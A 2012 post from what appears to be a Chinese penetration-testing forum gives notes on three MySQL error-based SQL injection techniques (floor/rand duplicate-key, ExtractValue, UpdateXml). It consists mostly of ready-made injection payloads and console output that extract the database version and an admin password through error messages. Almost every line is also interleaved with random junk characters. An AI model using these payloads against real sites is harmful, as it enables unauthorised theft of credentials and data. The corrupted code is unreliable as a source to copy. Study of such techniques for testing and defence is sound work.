中国网络渗透测试联盟

标题: 关于Mysql注入过程中的三种报错方式 [打印本页]

作者: admin    时间: 2012-12-10 10:28
标题: 关于Mysql注入过程中的三种报错方式
放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。
* G5 C. L5 B, _0 w2 `6 i+ _! D8 B实际测试环境:
2 j: e: A7 ^) |% h" |. @% H) ~9 B& W7 j. x  H  H8 g
/ ~! m3 b% o0 g4 a" w/ q% L4 b
mysql> show tables;, [/ R" i& X$ M2 q1 g8 U
+----------------+7 S2 r, {" s3 l: M1 J
| Tables_in_test |
; m+ L, ?/ u( g+----------------+
" P$ l2 n$ {! x" v. @: L| admin          |/ T- T* }1 t- O6 U7 v+ J2 e! M
| article        |& y1 a# M. a, u- {  C5 O/ O
+----------------+! d( t# y: U; o2 {& U

- S. o( C% ^, n( H# L" N1 T  A ( L- w' m) O4 A6 N
0 e4 H! }7 v6 n: J% @7 ^, o2 L  g
mysql> describe admin;4 i( \5 ?$ ^' \7 X) {
+-------+------------------+------+-----+---------+----------------+
4 g% O% l# z7 V. X0 G$ v7 Y% x| Field | Type             | Null | Key | Default | Extra          |+ t) B+ Z" \3 ?
+-------+------------------+------+-----+---------+----------------+
7 n% x/ f* C' v! |* o# \$ [" C| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |* s2 R7 w3 x9 h/ n. b  _0 U3 c) N
| user  | varchar(50)      | NO   |     | NULL    |                |
- Y0 t* Q, v$ ?9 b- N| pass  | varchar(50)      | NO   |     | NULL    |                |
- H9 k0 Y* v6 [0 r: f6 ~+-------+------------------+------+-----+---------+----------------+
  Z+ T( C0 n" f
) Y# I1 [  L+ r- K* w$ n5 p : k+ @7 L6 u* p9 Q; m, J* c

6 J9 E; k* H$ B" W/ z' s+ V3 W% dmysql> describe article;
/ I% L" [& x7 v0 x# q# H. Q  |+---------+------------------+------+-----+---------+----------------+: J# W+ h; P: }- g. [* V$ J/ B% l; e/ S
| Field   | Type             | Null | Key | Default | Extra          |% E1 q: o3 Z3 H& s
+---------+------------------+------+-----+---------+----------------+
9 e& a  v% k3 z1 @9 x| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |4 M6 l0 y# ~8 V) V
| title   | varchar(50)      | NO   |     | NULL    |                |
  e/ [4 |$ A; F* U| content | varchar(50)      | NO   |     | NULL    |                |4 M" o$ u" O5 u  `' b6 C/ q, _; @
+---------+------------------+------+-----+---------+----------------+* g9 q, d7 x6 C( l+ `' U
1、通过floor报错0 ?( q( ?: J/ m; L7 }
可以通过如下一些利用代码
! ?! p7 Z0 E/ ]! T
* ]5 ~3 |% a3 X& @' e 3 X1 R8 }3 _$ ]  Z6 H  e
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
$ Q, V3 Q8 I8 a. O7 Jfrom information_schema.tables group by x)a);5 n, @3 d, Q1 P. ~* j
5 e& b8 _/ o* ]0 E3 s6 V' L1 ]: L8 i

$ b8 _9 e3 d0 H) B2 j1 X9 V: Dand (select count(*) from (select 1 union select null union select !1)x
1 \, W) n+ B3 f" ^1 r8 p1 n. Lgroup by concat((select table_name from information_schema.tables limit 1),
9 b2 X: m* l0 [( k, v; ]2 hfloor(rand(0)*2)));0 h& b! x% R" i% ^' `
举例如下:
) {9 B: _; b4 O' a4 ~2 ^% p首先进行正常查询:# s6 N; W  s# _
" @& g0 I/ q( Y6 z6 A$ ?1 g$ P, p
mysql> select * from article where id = 1;
7 ~/ G4 J7 D: B6 K6 q+ B+----+-------+---------+
  t/ U" O$ K8 G% || id | title | content |$ L5 o1 J, t1 d* j% B  _
+----+-------+---------+7 ?) m- V9 O# K4 e% l" D$ N- X
|  1 | test  | do it   |
5 ^; b, C& B  @+----+-------+---------+' r) X, H; \. X' O0 Y3 |" O
假如id输入存在注入的话,可以通过如下语句进行报错。; X8 D) Z; L) F, }; K* ]3 m7 Z
: [3 r# E2 D- j* ]4 w
. ^% ~4 {. P+ W, S' N
mysql> select * from article where id = 1 and (select 1 from
. Y! W4 E. s+ c- N- u) }2 ?' e( U1 C(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);# Q8 r" E, a9 [$ V* ]
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
( t  L) b' y3 |: g- D9 b) W4 j5 g+ A可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
+ ^+ z* h- Z1 S( Y4 d7 E9 E例如我们需要查询管理员用户名和密码:
9 O( u, e% z5 D- G8 I1 k  c, l3 l) ?Method1:, o5 y  _0 |9 \6 X' l* x( F. G

. s* `5 T0 _5 G3 K' a! ]7 ~/ D: }
+ C; w+ e, Y( W( ~# e1 `# w) ^; jmysql> select * from article where id = 1 and (select 1 from
9 q3 U* K) x, T( @* K- b( B: w8 X& f+ L# b(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
; Z+ J! L/ r3 M, |" H8 R$ {from information_schema.tables group by x)a);
- t: U( V+ R/ x" o- e% PERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
' _; M: d9 h! b( e1 PMethod2:
4 t/ y; r; _9 C# Z/ R/ f5 d6 k
: t  r  e$ g% L; a3 Y  V) }5 e / r0 D" ^# Y2 o' R- ?7 k6 L5 |8 P
mysql> select * from article where id = 1 and (select count(*)
' `, ]5 Z; D& f! T  s6 P! ifrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
' `1 r  i4 f: Kfloor(rand(0)*2)));
4 N0 ^3 K6 c# G3 p7 b9 yERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
9 R) G& v. h7 |6 ?: y2、ExtractValue( D9 b8 t$ r: M/ T* n; K9 x  z
测试语句如下8 S! Z! N+ [+ J+ T
6 r9 a' V+ [) w9 x8 e: s6 O; Q0 X
! C$ W6 c4 |* t& T7 O% ^/ s
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));: a$ B6 f$ F1 d  o1 i6 K/ a
实际测试过程
, |  k) r) n/ c) M. E/ y' f
) N; e: U" c' _. J3 v" m' M% J 7 E9 S( `3 r+ m5 j& `
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,1 {8 l- j1 A8 C  o' b, d
(select pass from admin limit 1)));--
) C, W; ~' ^5 U  ?ERROR 1105 (HY000): XPATH syntax error: '\admin888'
/ e- O/ W+ ~) h( z4 G$ b7 d3、UpdateXml/ e: r& K) n8 n/ Q
测试语句$ U, D' F$ E) S0 y9 G; ^2 Y
" Y+ k& V1 r0 y4 p: D  M/ N% c: d
! O2 M: j$ W9 M' a- ~' C) t" R
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
& c$ m9 H" `2 y实际测试过程! @: }. Q* |3 [2 {- v
9 i7 \: m1 [# s( ?' W" x  [! t5 X
3 {  G- G# m, _6 T$ p# _+ A' E
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
) X, h$ M- {, p! g4 ~0 H3 |. i(select pass from admin limit 1),0x5e24),1));1 c4 @/ ]7 A" [- H2 R) M+ z
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'7 {- ]. W8 k0 Y" q
All, thanks foreign guys.$ a3 D6 v1 p# ?! [7 u7 e+ u0 I
% j/ x9 f: Y$ f# P" r
6 C8 L$ v  I( {) s





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2